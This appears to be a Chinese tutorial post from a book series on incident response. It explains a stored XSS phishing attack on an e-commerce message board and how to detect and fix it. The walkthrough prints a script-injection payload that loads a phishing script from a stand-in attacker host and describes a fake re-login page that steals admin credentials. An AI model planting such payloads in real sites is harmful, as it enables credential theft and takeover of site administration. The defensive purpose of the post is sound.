前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【愚公系列】《网络安全应急管理与技术实践》 013-网络安全应急技术与实践(Web层-XSS钓鱼攻击)

【愚公系列】《网络安全应急管理与技术实践》 013-网络安全应急技术与实践(Web层-XSS钓鱼攻击)

原创
作者头像
愚公搬代码
发布2024-09-17 08:31:41
1080
发布2024-09-17 08:31:41
举报
文章被收录于专栏:愚公系列-书籍专栏

🏆 作者简介,愚公搬代码 🏆《头衔》:华为云特约编辑,华为云云享专家,华为开发者专家,华为产品云测专家,CSDN博客专家,CSDN商业化专家,阿里云专家博主,阿里云签约作者,腾讯云优秀博主,腾讯云内容共创官,掘金优秀博主,51CTO博客专家等。 🏆《近期荣誉》:2022年度博客之星TOP2,2023年度博客之星TOP2,2022年华为云十佳博主,2023年华为云十佳博主等。

🏆《博客内容》:.NET、Java、Python、Go、Node、前端、IOS、Android、鸿蒙、Linux、物联网、网络安全、大数据、人工智能、U3D游戏、小程序等相关领域知识。

🏆🎉欢迎 👍点赞✍评论⭐收藏

🚀前言

XSS(跨站脚本)是一种常见的网络攻击技术,攻击者通过在受害者的网页中注入恶意脚本,来获取用户的敏感信息或执行恶意操作。因此,XSS高级钓鱼指的是通过XSS攻击手段来进行钓鱼行为,即通过在网页中注入恶意代码,并伪装成合法的网站或登录页面,从而诱使用户输入敏感信息。

🚀一、XSS 高级钓鱼手段分析与应急处置

XSS(跨站脚本)漏洞是一种常见的Web应用程序安全漏洞,由于对用户输入的过滤不足而产生。攻击者通过利用这个漏洞,将恶意的脚本代码注入到网页中。当其他用户浏览这些网页时,恶意代码会被执行。该漏洞可能造成的危害包括:网络钓鱼,盗取各类用户账号;窃取用户的cookie信息,获取用户的隐私信息或利用用户的身份对网站进行进一步操作;劫持用户浏览器会话,执行任意操作,如非法转账、强制发表日志、发送电子邮件等;强制弹出广告页面、恶意下载等;进行恶意操作,如篡改页面信息、删除文件等;进行大量的客户端攻击,如DDOS攻击;网站挂马;获取客户端信息,如用户的浏览记录、真实IP地址、开放端口等。XSS攻击可分为两种类型。

跨站脚本攻击(XSS)可分为存储型和反射型两种类型。

  1. 存储型跨站脚本攻击(持久性XSS): 漏洞形式:Web应用程序允许用户输入内容,并将其持久保存并显示在网页上。 攻击方式:攻击者利用跨站漏洞构建恶意脚本,对大量用户构成危害。 典型案例:留言板、论坛、博客、wiki等。
  2. 反射型跨站脚本攻击(非持久性XSS): 漏洞形式:反射型攻击的脚本通常存储在URL中。 攻击方式:攻击者构造好的URL发送给受害者,诱导其打开中招。 典型案例:收到陌生人发送的长链接,如QQ收到此类链接。

本节将以电子商务网站为例进行XSS攻击过程的演示和分析。

🔎1.利用 XSS 漏洞的钓鱼攻击

如前所述,如果用户可以在网页上输入脚本代码并提交执行,那么就可存在 XSS 漏洞。例如,已知网站的留言板存在存储型 XSS 漏洞,攻击者鸢以输入“留言内容”,如图所示。

可见,如果留言内容中的脚本被成功提交,则查看该留言内容的用户便会触发 www.hacker.com:8080/XSS/inj.js 的运行,而 inj.js 可以是攻击者的任何恶意代码,本示例中的 inj.js中的代码将会新建一个管理员用户。这段代码一旦被执行,就会创建一个管理员用户,接下来攻击者就像守株待免一样等待有人点击这条留言,让这段代码执行。所以,这段留言必须有诱惑力,诱使别人点击才能保证攻击的成功率,因此XSS钓鱼攻击通常会抓住目标人群的喜好、心理等特征有的放矢地放下诱饵,等待鱼儿上钩。

本实验中,管理员日常工作中会通过管理员账号登录后台查看留言,当他看到该用户的留言,点击查看留言具体内容时,便发生了XSS攻击,如图所示。

留言内容中的代码被执行后,将自动添加一个新的管理员用户admin1

攻击者如何知道管理员账号被添加成功了呢?当然,攻击者得像钓鱼的渔翁一样装上“鱼鳔”,当XSS攻击的脚本被执行成功后,攻击者会收到执行成功的信息,这时,攻击者就可以通过新建的admin1账号(使用之前设置的密码)登录管理后台了。

🔎2.高级钓鱼攻防

攻击者编写钓鱼留言,并且提交的留言中包含了恶意的跨站代码,该恶意代码构造了一个跟真实网站一模一样的页面,并诱导用户输入敏感信息,如用户名和口令,这就是典型的钓鱼攻击。攻击过程演示如下。

(1)攻击者编写了恶意代码ij.php,将其注入留言内容中:“我上个展期在你们这里买的索爱读卡器,<scriptsrc=http://www,hacker.com:8080/phishimj.php></script>让朋友也看了看,确认是不能用!怎么回事?”如图所示

(2)当管理员登录后台查看“会员留言”时看到了攻击者的留言,点击查看留言后,会弹出警告信息“请求超时,请重新登录”,如图所示。

(3)管理员以为真的是登录超时,单击“确定”按钮后,页面跳转到登录界面,该界面是个“钓鱼”界面,与真正的管理后台录界面一样,说这种手段是“高级钓鱼”的原因之一就体现在这里,就连地址栏的地址也是正常网站的地址,欺骗性非常高,如图所示。受害者完全没有察觉被攻击了,但是当受害者在界面中输入姓名和密码并提交后,这些敏感信息就都被攻击者获取了

(4)攻击者在其钓鱼网站的后台可以查看刚刚盗取的电子商务网站的管理员账号和密码,如图所示。

当弹出超时消息窗口时,管理员应该有所察觉。的确如果管理员一直在操作这个网站,却突然弹出超时,就应该怀疑,但是管理如果不了解钓鱼攻击手法,因为急于查看消息往往就会立即关闭窗口而没有多想。当觉得不对劲,但再次点击该留言时,就不弹出超时消息了,攻击者为么这样设计呢?这是因为攻击者为了避免出现重复钓鱼现象而被管理员发现特别做的“防范”措施。这便是该钓鱼手法的一个“高级”之处。

🔎3.高级钓鱼手法分析

通过以上钓鱼过程的分析得知,由于管理员查看留言的界面没有对用户提交的内容进行编码输出,当管理员单击一次留言后,会生成一个Cookie 字段,并标识为1,当管理员再查看留言时,脚本会判断该字段是否存在,如果Cookie存在就不再进行钓鱼,避免出现重复钓鱼现象,而引起管理员的怀疑。

我们知道 Cookie 是保存在用户浏览器中的,因此,若想判断是否被钓鱼可以先清空浏览器缓存,当再次访问该页面时,如果再次出现重新登录界面则表示已被钓鱼攻击。

🔎4.XSS 漏洞应急处置

我们知道,XSS 攻击实现的方法就是向页面(如留言区、评论区、URL地址栏等)注入脚本代码(如Htm1、js代码)。所以,针对XSS 攻击的应急处置,需要从根本上进行漏洞修复,通常的XSS 漏洞修复建议如下。

(1)对所有用户提交的内容进行可靠的输入验证,对用户输入的数据包括URL、关键字、htp 头、POST 数据等内容规定在合法范围内或根据输入数据的HTML上下文(包括主体、属性、JavaScript、CSS、URL等)对所有不可信数据进行恰当的转义(escape)。

(2)如果应用系统必须支持允许用户提交 html 代码,那么就要确认应用程序所接受的 html内容被妥善地格式化,去掉任何对远程内容的引用(尤其样式表和 JavaScript),并使用 HttpOnly 的 Cookie。

针对上文中的钓鱼攻击,可根据建议(1)把留言内容进行 html编码输出这样留言就不会被当成代码执行。如图所示

将漏洞修补文件上传到对var/www/shop/temp/compled/admin目录下。

查看修补后的网站留言时,会发现这条留言被编码输出,此时管理员便发现网页留言区被注入了代码,但钓鱼攻击并没有成功,如图所示

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 🚀前言
  • 🚀一、XSS 高级钓鱼手段分析与应急处置
    • 🔎1.利用 XSS 漏洞的钓鱼攻击
      • 🔎2.高级钓鱼攻防
        • 🔎3.高级钓鱼手法分析
          • 🔎4.XSS 漏洞应急处置
          相关产品与服务
          脆弱性检测服务
          脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档